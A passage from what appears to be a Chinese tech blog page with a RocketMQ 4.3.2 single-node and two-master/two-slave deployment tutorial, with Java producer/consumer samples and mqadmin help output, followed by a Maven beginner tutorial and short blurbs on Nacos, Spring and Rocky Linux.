for committing reserved memory. # An error report file with more information is saved as: # /root/rocketmq-all-4.3.2-bin-release/bin/hs_err_pid3977.log 启动失败，报内存不足，主要是rocketmq默认配置的启动参数值比较大，修改runbroker.sh即可 [root@localhost bin]# vi runbroker.sh JAVA_OPT="${JAVA_OPT} -server -Xms8g -Xmx8g -Xmn4g" 默认配置的可用内存为8g，虚拟机内存不够，修改为如下即可 JAVA_OPT="${JAVA_OPT} -server -Xms128m -Xmx128m -Xmn128m" 再次启动，日志如下，表示启动成功，默认端口为10911； [root@localhost bin]# ./mqbroker The broker[localhost.localdomain, 192.168.237.128:10911] boot success. serializeType=JSON 3.简单测试 3.1生产者 public class SyncProducer { public static void main(String[] args) throws Exception { // 构造Producer DefaultMQProducer producer = new DefaultMQProducer("ProducerGroupName"); producer.setNamesrvAddr("192.168.237.128:9876"); // 初始化Producer，整个应用生命周期内，只需要初始化1次 producer.start(); for (int i = 0; i < 100; i++) { Message msg = new Message("TopicTest", "TagA", ("Hello RocketMQ" + i).getBytes(RemotingHelper.DEFAULT_CHARSET)); SendResult sendResult = producer.send(msg); System.out.println(sendResult); } producer.shutdown(); } } 创建了一个DefaultMQProducer对象，同时设置了GroupName和NameServer地址，然后创建Message消息通过DefaultMQProducer将消息发送出去，返回一个SendResult对象； 3.2消费者 public class PushConsumer { public static void main(String[] args) throws MQClientException { DefaultMQPushConsumer consumer = new DefaultMQPushConsumer("please rename to unique group name"); consumer.setNamesrvAddr("192.168.237.128:9876"); consumer.setConsumeFromWhere(ConsumeFromWhere.CONSUME_FROM_FIRST_OFFSET); consumer.subscribe("TopicTest", "*"); consumer.registerMessageListener(new MessageListenerConcurrently() { public ConsumeConcurrentlyStatus consumeMessage(List<MessageExt> msgs, ConsumeConcurrentlyContext context) { System.out.printf(Thread.currentThread().getName() + "Receive New Messages :" + msgs + "%n"); return ConsumeConcurrentlyStatus.CONSUME_SUCCESS; } }); consumer.start(); } } 同样指定了GroupName和NameServer地址，订阅了Topic； 3.3运行测试直接运行生产者报如下错误： Exception in thread "main" org.apache.rocketmq.client.exception.MQClientException: No route info of this topic, TopicTest See http://rocketmq.apache.org/docs/faq/ for further details. at org.apache.rocketmq.client.impl.producer.DefaultMQProducerImpl.sendDefaultImpl(DefaultMQProducerImpl.java:634) at org.apache.rocketmq.client.impl.producer.DefaultMQProducerImpl.send(DefaultMQProducerImpl.java:1253) at org.apache.rocketmq.client.impl.producer.DefaultMQProducerImpl.send(DefaultMQProducerImpl.java:1203) at org.apache.rocketmq.client.producer.DefaultMQProducer.send(DefaultMQProducer.java:214) at com.rocketmq.SyncProducer.main(SyncProducer.java:26) 错误显示"没有此Topic的路由信息"，也就是生产者在发送消息的时候没有获取到路由信息，找不到指定的Broker,可能的原因： 1.Broker没有正确连接NameServer 2.Producer没有连接NameServer 3.Topic没有被正确创建 SyncProducer中指定了NameServer的地址，同时RocketMQ默认情况下会自动创建Topic，所以原因是Broker没有注册到NameServer，重新指定NameServer再启动： [root@localhost bin]# ./mqbroker -n localhost:9876 The broker[localhost.localdomain, 192.168.237.128:10911] boot success. serializeType=JSON and name server is localhost:9876 再次运行SyncProducer，日志如下： SendResult [sendStatus=SEND_OK, msgId=0A0D53073B6073D16E933086C4C60000, offsetMsgId=C0A8ED8000002A9F000000000000229C, messageQueue=MessageQueue[topic=TopicTest, brokerName=localhost.localdomain, queueId=1], queueOffset=11] SendResult [sendStatus=SEND_OK, msgId=0A0D53073B6073D16E933086C4CD0001, offsetMsgId=C0A8ED8000002A9F000000000000234D, messageQueue=MessageQueue [topic=TopicTest, brokerName=localhost.localdomain, queueId=2], queueOffset=9] SendResult [sendStatus=SEND_OK, msgId=0A0D53073B6073D16E933086C4D90002, offsetMsgId=C0A8ED8000002A9F00000000000023FE, messageQueue=MessageQueue[topic=TopicTest, brokerName=localhost.localdomain, queueId=3], queueOffset=9] SendResult [sendStatus=SEND_OK, msgId=0A0D53073B6073D16E933086C4E80003, offsetMsgId=C0A8ED8000002A9F00000000000024AF, messageQueue=MessageQueue [topic=TopicTest, brokerName=localhost.localdomain, queueId=0], queueOffset=11] SendResult [sendStatus=SEND_OK, msgId=0A0D53073B6073D16E933086C4F40004, offsetMsgId=C0A8ED8000002A9F0000000000002560, messageQueue=MessageQueue [topic=TopicTest, brokerName=localhost.localdomain, queueId=1], queueOffset=12] SendResult [sendStatus=SEND_OK, msgId=0A0D53073B6073D16E933086C4F70005, offsetMsgId=C0A8ED8000002A9F0000000000002611, messageQueue=MessageQueue [topic=TopicTest, brokerName=localhost.localdomain, queueId=2], queueOffset=10] SendResult [sendStatus=SEND_OK, msgId=0A0D53073B6073D16E933086C5030006, offsetMsgId=C0A8ED8000002A9F00000000000026C2, messageQueue=MessageQueue [topic=TopicTest, brokerName=localhost.localdomain, queueId=3], queueOffset=10] SendResult [sendStatus=SEND_OK, msgId=0A0D53073B6073D16E933086C5070007, offsetMsgId=C0A8ED8000002A9F0000000000002773, messageQueue=MessageQueue [topic=TopicTest, brokerName=localhost.localdomain, queueId=0], queueOffset=12] SendResult [sendStatus=SEND_OK, msgId=0A0D53073B6073D16E933086C50A0008, offsetMsgId=C0A8ED8000002A9F0000000000002824, messageQueue=MessageQueue [topic=TopicTest, brokerName=localhost.localdomain, queueId=1], queueOffset=13] SendResult [sendStatus=SEND_OK, msgId=0A0D53073B6073D16E933086C50D0009, offsetMsgId=C0A8ED8000002A9F00000000000028D5, messageQueue=MessageQueue [topic=TopicTest, brokerName=localhost.localdomain, queueId=2], queueOffset=11] 消费者使用的是push模式，可以实时接受消息： ConsumeMessageThread_13Receive New Messages :[MessageExt [queueId=1, storeSize=177,queueOffset=11, sysFlag=0, bornTimestamp=1547086138566, bornHost=/192.168.237.1:53524, storeTimestamp=1547139430770, storeHost=/192.168.237.128:10911, msgId=C0A8ED8000002A9F000000000000229C, commitLogOffset=8860, bodyCRC=705268097, reconsumeTimes=0, preparedTransactionOffset=0, toString()=Message{topic='TopicTest', flag=0, properties={MIN_OFFSET=0, MAX_OFFSET=12, CONSUME_START_TIME=1547086138573, UNIQ_KEY=0A0D53073B6073D16E933086C4C60000, WAIT=true, TAGS=TagA}, body=[72, 101, 108, 108, 111, 32, 82, 111, 99, 107, 101, 116, 77, 81, 48], transactionId='null'}]] ConsumeMessageThread_3Receive New Messages :[MessageExt [queueId=2, storeSize=177, queueOffset=9, sysFlag=0, bornTimestamp=1547086138573, bornHost=/192.168.237.1:53524, storeTimestamp=1547139430783, storeHost=/192.168.237.128:10911, msgId=C0A8ED8000002A9F000000000000234D, commitLogOffset=9037, bodyCRC=1561245975, reconsumeTimes=0, preparedTransactionOffset=0, toString()=Message{topic='TopicTest', flag=0, properties={MIN_OFFSET=0, MAX_OFFSET=10, CONSUME_START_TIME=1547086138598, UNIQ_KEY=0A0D53073B6073D16E933086C4CD0001, WAIT=true, TAGS=TagA}, body=[72, 101, 108, 108, 111, 32, 82, 111, 99, 107, 101, 116, 77, 81, 49], transactionId='null'}]] ConsumeMessageThread_17Receive New Messages :[MessageExt [queueId=3, storeSize=177, queueOffset=9, sysFlag=0, bornTimestamp=1547086138585, bornHost=/192.168.237.1:53524, storeTimestamp=1547139430794, storeHost=/192.168.237.128:10911, msgId=C0A8ED8000002A9F00000000000023FE, commitLogOffset=9214, bodyCRC=1141369005, reconsumeTimes=0, preparedTransactionOffset=0, toString()=Message{topic='TopicTest', flag=0, properties={MIN_OFFSET=0, MAX_OFFSET=10, CONSUME_START_TIME=1547086138601, UNIQ_KEY=0A0D53073B6073D16E933086C4D90002, WAIT=true, TAGS=TagA}, body=[72, 101, 108, 108, 111, 32, 82, 111, 99, 107, 101, 116, 77, 81, 50], transactionId='null'}]] ConsumeMessageThread_9Receive New Messages :[MessageExt [queueId=0, storeSize=177, queueOffset=11, sysFlag=0, bornTimestamp=1547086138600, bornHost=/192.168.237.1:53524, storeTimestamp=1547139430807, storeHost=/192.168.237.128:10911, msgId=C0A8ED8000002A9F00000000000024AF, commitLogOffset=9391, bodyCRC=855693371, reconsumeTimes=0, preparedTransactionOffset=0, toString()=Message{topic='TopicTest', flag=0, properties={MIN_OFFSET=0, MAX_OFFSET=12, CONSUME_START_TIME=1547086138612, UNIQ_KEY=0A0D53073B6073D16E933086C4E80003, WAIT=true, TAGS=TagA}, body=[72, 101, 108, 108, 111, 32, 82, 111, 99, 107, 101, 116, 77, 81, 51], transactionId='null'}]] ConsumeMessageThread_15Receive New Messages :[MessageExt [queueId=1, storeSize=177, queueOffset=12, sysFlag=0, bornTimestamp=1547086138612, bornHost=/192.168.237.1:53524, storeTimestamp=1547139430809, storeHost=/192.168.237.128:10911, msgId=C0A8ED8000002A9F0000000000002560, commitLogOffset=9568, bodyCRC=761548184, reconsumeTimes=0, preparedTransactionOffset=0, toString()=Message{topic='TopicTest', flag=0, properties={MIN_OFFSET=0, MAX_OFFSET=13, CONSUME_START_TIME=1547086138626, UNIQ_KEY=0A0D53073B6073D16E933086C4F40004, WAIT=true, TAGS=TagA}, body=[72, 101, 108, 108, 111, 32, 82, 111, 99, 107, 101, 116, 77, 81, 52], transactionId='null'}]] ConsumeMessageThread_11Receive New Messages :[MessageExt [queueId=2, storeSize=177, queueOffset=10, sysFlag=0, bornTimestamp=1547086138615, bornHost=/192.168.237.1:53524, storeTimestamp=1547139430820, storeHost=/192.168.237.128:10911, msgId=C0A8ED8000002A9F0000000000002611, commitLogOffset=9745, bodyCRC=1516469518, reconsumeTimes=0, preparedTransactionOffset=0, toString()=Message{topic='TopicTest', flag=0, properties={MIN_OFFSET=0, MAX_OFFSET=11, CONSUME_START_TIME=1547086138628, UNIQ_KEY=0A0D53073B6073D16E933086C4F70005, WAIT=true, TAGS=TagA}, body=[72, 101, 108, 108, 111, 32, 82, 111, 99, 107, 101, 116, 77, 81, 53], transactionId='null'}]] ConsumeMessageThread_4Receive New Messages :[MessageExt [queueId=3, storeSize=177,queueOffset=10, sysFlag=0, bornTimestamp=1547086138627, bornHost=/192.168.237.1:53524, storeTimestamp=1547139430824, storeHost=/192.168.237.128:10911, msgId=C0A8ED8000002A9F00000000000026C2,commitLogOffset=9922, bodyCRC=1131031732,reconsumeTimes=0, preparedTransactionOffset=0, toString()=Message{topic='TopicTest', flag=0, properties={MIN_OFFSET=0, MAX_OFFSET=11, CONSUME_START_TIME=1547086138633, UNIQ_KEY=0A0D53073B6073D16E933086C5030006, WAIT=true, TAGS=TagA}, body=[72, 101, 108, 108, 111, 32, 82, 111, 99, 107, 101, 116, 77, 81, 54], transactionId='null'}]] ConsumeMessageThread_14Receive New Messages :[MessageExt [queueId=0, storeSize=177, queueOffset=12, sysFlag=0, bornTimestamp=1547086138631, bornHost=/192.168.237.1:53524, storeTimestamp=1547139430827, storeHost=/192.168.237.128:10911, msgId=C0A8ED8000002A9F0000000000002773, commitLogOffset=10099, bodyCRC=879565858, reconsumeTimes=0, preparedTransactionOffset=0, toString()=Message{topic='TopicTest', flag=0, properties={MIN_OFFSET=0, MAX_OFFSET=13, CONSUME_START_TIME=1547086138635, UNIQ_KEY=0A0D53073B6073D16E933086C5070007, WAIT=true, TAGS=TagA}, body=[72, 101, 108, 108, 111, 32, 82, 111, 99, 107, 101, 116, 77, 81, 55], transactionId='null'}]] ConsumeMessageThread_10Receive New Messages :[MessageExt [queueId=1, storeSize=177, queueOffset=13, sysFlag=0, bornTimestamp=1547086138634, bornHost=/192.168.237.1:53524, storeTimestamp=1547139430830, storeHost=/192.168.237.128:10911, msgId=C0A8ED8000002A9F0000000000002824, commitLogOffset=10276, bodyCRC=617742771, reconsumeTimes=0, preparedTransactionOffset=0, toString()=Message{topic='TopicTest', flag=0, properties={MIN_OFFSET=0, MAX_OFFSET=14, CONSUME_START_TIME=1547086138638, UNIQ_KEY=0A0D53073B6073D16E933086C50A0008, WAIT=true, TAGS=TagA}, body=[72, 101, 108, 108, 111, 32, 82, 111, 99, 107, 101, 116, 77, 81, 56], transactionId='null'}]] ConsumeMessageThread_7Receive New Messages :[MessageExt [queueId=2, storeSize=177, queueOffset=11, sysFlag=0, bornTimestamp=1547086138637, bornHost=/192.168.237.1:53524, storeTimestamp=1547139430833, storeHost=/192.168.237.128:10911, msgId=C0A8ED8000002A9F00000000000028D5, commitLogOffset=10453, bodyCRC=1406480677, reconsumeTimes=0, preparedTransactionOffset=0, toString()=Message{topic='TopicTest', flag=0, properties={MIN_OFFSET=0, MAX_OFFSET=12, CONSUME_START_TIME=1547086138641, UNIQ_KEY=0A0D53073B6073D16E933086C50D0009, WAIT=true, TAGS=TagA}, body=[72, 101, 108, 108, 111, 32, 82, 111, 99, 107, 101, 116, 77, 81, 57], transactionId='null'}]] 多机集群配置和部署分别部署两台NameServer，两台Broker并且分别提供Slave，准备两台电脑分别是本机的windows以及虚拟机centos； 1.启动NameServer 分别启动2台NameServer，端口号都使用默认的9876，地址端口如下： 192.168.237.128:9876 10.13.83.7:9876 2.启动Broker 每台机器上分别启动一个Master和一个Slave，互为主备，在主目录下的conf文件夹下提供了多种broker配置模式，分别有：2m-2s-async，2m-2s-sync，2m-noslave，可以以此为模版做如下配置： 2.1配置10.13.83.7Master和Slave Master配置如下： namesrvAddr=192.168.237.128:9876;10.13.83.7:9876 brokerClusterName=DefaultCluster brokerName=broker-a brokerId=0 deleteWhen=04 fileReservedTime=48 brokerRole=SYNC_MASTER flushDiskType=ASYNC_FLUSH listenPort=10911 storePathRootDir=E:/rocketmq-all-4.3.2-bin-release/store-a-m Slave配置如下： namesrvAddr=192.168.237.128:9876;10.13.83.7:9876 brokerClusterName=DefaultCluster brokerName=broker-a brokerId=1 deleteWhen=04 fileReservedTime=48 brokerRole=SLAVE flushDiskType=ASYNC_FLUSH listenPort=10811 storePathRootDir=E:/rocketmq-all-4.3.2-bin-release/store-a-s 分别启动结果如下： E:\rocketmq-all-4.3.2-bin-release\bin>mqbroker -c E:\rocketmq-all-4.3.2-bin-rele ase\conf\broker-m.conf The broker[broker-a, 10.13.83.7:10911] boot success. serializeType=JSON and name server is 192.168.237.128:9876;10.13.83.7:9876 以上是Master启动日志，Slave日志如下： E:\rocketmq-all-4.3.2-bin-release\bin>mqbroker -c E:\rocketmq-all-4.3.2-bin-rele ase\conf\broker-s.conf The broker[broker-a, 10.13.83.7:10811] boot success. serializeType=JSON and name server is 192.168.237.128:9876;10.13.83.7:9876 2.2配置10.13.83.7Slave Master配置如下： namesrvAddr=192.168.237.128:9876;10.13.83.7:9876 brokerClusterName=DefaultCluster brokerName=broker-b brokerId=0 deleteWhen=04 fileReservedTime=48 brokerRole=SYNC_MASTER flushDiskType=ASYNC_FLUSH listenPort=10911 storePathRootDir=/root/rocketmq-all-4.3.2-bin-release/store-b-m Slave配置如下： namesrvAddr=192.168.237.128:9876;10.13.83.7:9876 brokerClusterName=DefaultCluster brokerName=broker-b brokerId=1 deleteWhen=04 fileReservedTime=48 brokerRole=SLAVE flushDiskType=ASYNC_FLUSH listenPort=10811 storePathRootDir=/root/rocketmq-all-4.3.2-bin-release/store-b-s 启动日志分别如下： [root@localhost bin]# ./mqbroker -c ../conf/broker-m.conf The broker[broker-b, 192.168.237.128:10911] boot success. serializeType=JSON and name server is 192.168.237.128:9876;10.13.83.7:9876 [root@localhost bin]# ./mqbroker -c ../conf/broker-s.conf The broker[broker-b, 192.168.237.128:10811] boot success. serializeType=JSON and name server is 192.168.237.128:9876;10.13.83.7:9876 3.配置说明 1.namesrvAddr NameServer地址，可以配置多个，用逗号分隔； 2.brokerClusterName 所属集群名称，如果节点较多可以配置多个 3.brokerName broker名称，master和slave使用相同的名称，表明他们的主从关系 4.brokerId 0表示Master，大于0表示不同的slave 5.deleteWhen 表示几点做消息删除动作，默认是凌晨4点 6.fileReservedTime 在磁盘上保留消息的时长，单位是小时 7.brokerRole 有三个值：SYNC_MASTER，ASYNC_MASTER，SLAVE；同步和异步表示Master和Slave之间同步数据的机制； 8.flushDiskType 刷盘策略，取值为：ASYNC_FLUSH，SYNC_FLUSH表示同步刷盘和异步刷盘；SYNC_FLUSH消息写入磁盘后才返回成功状态，ASYNC_FLUSH不需要； 9.listenPort 启动监听的端口号 10.storePathRootDir 存储消息的根目录管理工具 1.命令行管理工具 mqadmin是RocketMQ自带的命令行管理工具，可以创建、修改Topic，查询消息，更新配置信息等操作，具体可以通过如下命令查看： E:\rocketmq-all-4.3.2-bin-release\bin>mqadmin The most commonly used mqadmin commands are: updateTopic Update or create topic deleteTopic Delete topic from broker and NameServer. updateSubGroup Update or create subscription group deleteSubGroup Delete subscription group from broker. updateBrokerConfig Update broker's config updateTopicPerm Update topic perm topicRoute Examine topic route info topicStatus Examine topic Status info topicClusterList get cluster info for topic brokerStatus Fetch broker runtime status data queryMsgById Query Message by Id queryMsgByKey Query Message by Key queryMsgByUniqueKey Query Message by Unique key queryMsgByOffset Query Message by offset printMsg Print Message Detail printMsgByQueue Print Message Detail sendMsgStatus send msg to broker. brokerConsumeStats Fetch broker consume stats data producerConnection Query producer's socket connection and client vers consumerConnection Query consumer's socket connection, client version ubscription consumerProgress Query consumers's progress, speed consumerStatus Query consumer's internal data structure cloneGroupOffset clone offset from other group. clusterList List all of clusters topicList Fetch all topic list from name server updateKvConfig Create or update KV config. deleteKvConfig Delete KV config. wipeWritePerm Wipe write perm of broker in all name server resetOffsetByTime Reset consumer offset by timestamp(without client t). updateOrderConf Create or update or delete order conf cleanExpiredCQ Clean expired ConsumeQueue on broker. cleanUnusedTopic Clean unused topic on broker. startMonitoring Start Monitoring statsAll Topic and Consumer tps stats allocateMQ Allocate MQ checkMsgSendRT check message send response time clusterRT List All clusters Message Send RT getNamesrvConfig Get configs of name server. updateNamesrvConfig Update configs of name server. getBrokerConfig Get broker config by cluster or special broker! queryCq Query cq command. sendMessage Send a message consumeMessage Consume message See 'mqadmin help <command>' for more information on a specific command. 列出了所有支持的命令以及简单的介绍，如果想看详细的可以如下命令： E:\rocketmq-all-4.3.2-bin-release\bin>mqadmin help statsAll usage: mqadmin statsAll [-a] [-h] [-n <arg>] [-t <arg>] -a,--activeTopic print active topic only -h,--help Print help -n,--namesrvAddr <arg> Name server address list, eg: 192.168.0.1:9876;192.168 .0.2:9876 -t,--topic <arg> print select topic only 2.图形界面管理工具除了命令，还提供了图形界面管理工具，在RocketMQ的扩展包里面，具体地址如下： https://github.com/apache/rocketmq-externals/tree/release-rocketmq-console-1.0.0/rocketmq-console 目前的稳定版本是1.0.0，可以下载下来在本地运行，对application.properties做简单配置： rocketmq.config.namesrvAddr=10.13.83.7:9876 需要指定NameServer的地址，然后就可以打包运行了，运作之后会启动8080端口，直接访问地址： http://localhost:8080 总结本文从最简单的安装部署入手，并对常用的配置参数做了简单介绍；然后了解了RocketMQ的部署的整体结构，分别对其中的角色做了简单介绍；最后介绍了两种RocketMQ的管理工具，方便对RocketMQ的监控和管理。

2019-01-10

Maven入门教程

GitHub仓库：Fundebug/maven-tutorial Maven简介 Maven是Java项目构建工具，可以用于管理Java依赖，还可以用于编译、打包以及发布Java项目，类似于JavaScript生态系统中的NPM。 Maven的命令行工具为mvn，其常用命令如下表所示： | 命令 | 说明 | | ----------- | -----------------------| | mvn compile | 编译Java源代码 | | mvn package | 打包Java项目 || mvn deploy | 将Java项目发布到Maven仓库 || mvn clean | 删除构建目录 | Maven的配置文件为pom.xml，这个文件有个很吓人的学术名字Project Object Model，但是怎么看它都只是个普通的配置文件，与NPM中的package.json没啥本质区别。 Maven的中央仓库为Maven Repository，这里可以找到各种Java依赖，例如我们Fundebug的异常监控插件fundebug-java与fundebug-spring。安装Maven 在MacBook上使用brew安装很方便 brew install maven 我安装的是maven版本3.5.4 mvn -version Apache Maven 3.5.4 (1edded0938998edf8bf061f1ceb3cfdeccf443fe; 2018-06-18T02:33:14+08:00) Maven home: /usr/local/Cellar/maven/3.5.4/libexec Java version: 1.8.0_192, vendor: Oracle Corporation, runtime: /Library/Java/JavaVirtualMachines/jdk1.8.0_192.jdk/Contents/Home/jre Default locale: zh_CN, platform encoding: UTF-8 OS name: "mac os x", version: "10.14.2", arch: "x86_64", family: "mac" 示例代码本文示例代码都在GitHub仓库Fundebug/maven-tutorial。使用tree命令可以查看项目的目录结构： tree -v . ├── pom.xml └── src └── main └── java └── com └── fundebug └── Hello.java pom.xml为Maven配置文件，位于项目的根目录。 Hello.java为Java源代码，位于src/main/java/com/fundebug目录中。根据Maven对目录结构的要求，Java源代码必须位于src/main/java目录。 Hello.java package com.fundebug; import org.json.JSONObject; public class Hello { public static void main(String[] args) { JSONObject tomJsonObj = new JSONObject(); tomJsonObj.put("name", "Fundebug"); tomJsonObj.put("url", "https://www.fundebug.com"); System.out.println(tomJsonObj.toString(4)); } } Hello.java非常简单，定义了一个JSON对象，然后把它打印出来了。 package定义的包名为com.fundebug，需要与所在的目录结构相吻合，因此Hello.java位于src/main/java/com/fundebug目录中，而不是src/main/java/目录中。代码依赖于第三方模块json，因此需要在pom.xml配置dependency： <dependency> <groupId>org.json</groupId> <artifactId>json</artifactId> <version>20180813</version> </dependency> pom.xml <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"> <modelVersion>4.0.0</modelVersion>  <groupId>com.fundebug</groupId> <artifactId>hello</artifactId> <version>1.0</version>  <dependencies>  <dependency> <groupId>org.json</groupId> <artifactId>json</artifactId> <version>20180813</version> </dependency> </dependencies> </project> pom.xml中，<project></project>为最外层的标签；<modelVersion>4.0.0</modelVersion>定义了所使用的POM版本。这2个标签基本上是不变的。 groupId、artifactId与version一起则定义了模块的坐标(Coordinates)，每个公共模块的坐标应该是唯一的： groupId：组织名称，通常是把域名反过来，例如com.fundebug artifactId：模块名称，例如fundebug-java version：模块版本，例如0.2.0 <dependencies></dependencies>定义了当前项目所依赖的模块： <dependencies>  <dependency> <groupId>org.json</groupId> <artifactId>json</artifactId> <version>20180813</version> </dependency> </dependencies> Maven可以根据<dependency></dependency>中定义的坐标，自动下载所依赖的模块。在MacBook上，Maven将下载的模块缓存在$HOME/.m2/目录。使用mvn打包执行mvn package命令，即可将源码打包为.jar文件： mvn package [INFO] Scanning for projects... [INFO] [INFO] -------------------------< com.fundebug:hello >------------------------- [INFO] Building hello 1.0 [INFO] --------------------------------[ jar ]--------------------------------- [INFO] [INFO] --- maven-resources-plugin:2.6:resources (default-resources) @ hello --- [WARNING] Using platform encoding (UTF-8 actually) to copy filtered resources, i.e. build is platform dependent! [INFO] skip non existing resourceDirectory /Users/fundebug/Desktop/maven-tutorial/src/main/resources [INFO] [INFO] --- maven-compiler-plugin:3.1:compile (default-compile) @ hello --- [INFO] Changes detected - recompiling the module! [WARNING] File encoding has not been set, using platform encoding UTF-8, i.e. build is platform dependent! [INFO] Compiling 1 source file to /Users/fundebug/Desktop/maven-tutorial/target/classes [INFO] [INFO] --- maven-resources-plugin:2.6:testResources (default-testResources) @ hello --- [WARNING] Using platform encoding (UTF-8 actually) to copy filtered resources, i.e. build is platform dependent! [INFO] skip non existing resourceDirectory /Users/fundebug/Desktop/maven-tutorial/src/test/resources [INFO] [INFO] --- maven-compiler-plugin:3.1:testCompile (default-testCompile) @ hello --- [INFO] No sources to compile [INFO] [INFO] --- maven-surefire-plugin:2.12.4:test (default-test) @ hello --- [INFO] No tests to run. [INFO] [INFO] --- maven-jar-plugin:2.4:jar (default-jar) @ hello --- [INFO] Building jar: /Users/fundebug/Desktop/maven-tutorial/target/hello-1.0.jar [INFO] ------------------------------------------------------------------------ [INFO] BUILD SUCCESS [INFO] ------------------------------------------------------------------------ [INFO] Total time: 2.789 s [INFO] Finished at: 2019-01-05T15:23:02+08:00 [INFO] ------------------------------------------------------------------------ mvn package执行之后，项目中会新增一个tartget目录，编译的字节码文件位于target/classes目录，而jar包位于target/hello-1.0.jar： tree -v . ├── pom.xml ├── src │ └── main │ └── java │ └── com │ └── fundebug │ └── Hello.java └── target ├── classes │ └── com │ └── fundebug │ └── Hello.class ├── hello-1.0.jar 使用mvn运行打包好的jar包，可以直接使用java命令运行时，注意需要指定所依赖的jar包。对于所依赖的jar包，Maven则会自动下载依赖，放在本地仓库中。在MacBook上，Maven本地仓库位于$HOME/.m2/目录。 java -cp target/hello-1.0.jar:$HOME/.m2/repository/org/json/json/20180813/json-20180813.jar com.fundebug.Hello { "name": "Fundebug", "url": "https://www.fundebug.com" } 也可以使用mvn exec:java命令执行，不需要指定依赖的jar包，更加方便： mvn exec:java -Dexec.mainClass="com.fundebug.Hello" [INFO] Scanning for projects... [INFO] [INFO] -------------------------< com.fundebug:hello >------------------------- [INFO] Building hello 1.0 [INFO] --------------------------------[ jar ]--------------------------------- [INFO] [INFO] --- exec-maven-plugin:1.6.0:java (default-cli) @ hello --- { "name": "Fundebug", "url": "https://www.fundebug.com" } [INFO] ------------------------------------------------------------------------ [INFO] BUILD SUCCESS [INFO] ------------------------------------------------------------------------ [INFO] Total time: 0.837 s [INFO] Finished at: 2019-01-05T15:33:57+08:00 [INFO] ------------------------------------------------------------------------ 参考 Simple Maven Project Maven Dependency Management Java JSON Tutorial and Example: JSON-Java (org.json)

2019-01-07

资源下载

更多资源

腾讯云软件源

为解决软件依赖安装时官方源访问速度慢的问题，腾讯云为一些软件搭建了缓存服务。您可以通过使用腾讯云软件源站来提升依赖包的安装速度。为了方便用户自由搭建服务架构，目前腾讯云软件源站支持公网访问和内网访问。

Nacos

Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service 的首字母简称，一个易于构建 AI Agent 应用的动态服务发现、配置管理和AI智能体管理平台。Nacos 致力于帮助您发现、配置和管理微服务及AI智能体应用。Nacos 提供了一组简单易用的特性集，帮助您快速实现动态服务发现、服务配置、服务元数据、流量管理。Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。

Spring

Spring框架（Spring Framework）是由Rod Johnson于2002年提出的开源Java企业级应用框架，旨在通过使用JavaBean替代传统EJB实现方式降低企业级编程开发的复杂性。该框架基于简单性、可测试性和松耦合性设计理念，提供核心容器、应用上下文、数据访问集成等模块，支持整合Hibernate、Struts等第三方框架，其适用范围不仅限于服务器端开发，绝大多数Java应用均可从中受益。

Rocky Linux

Rocky Linux（中文名：洛基）是由Gregory Kurtzer于2020年12月发起的企业级Linux发行版，作为CentOS稳定版停止维护后与RHEL（Red Hat Enterprise Linux）完全兼容的开源替代方案，由社区拥有并管理，支持x86_64、aarch64等架构。其通过重新编译RHEL源代码提供长期稳定性，采用模块化包装和SELinux安全架构，默认包含GNOME桌面环境及XFS文件系统，支持十年生命周期更新。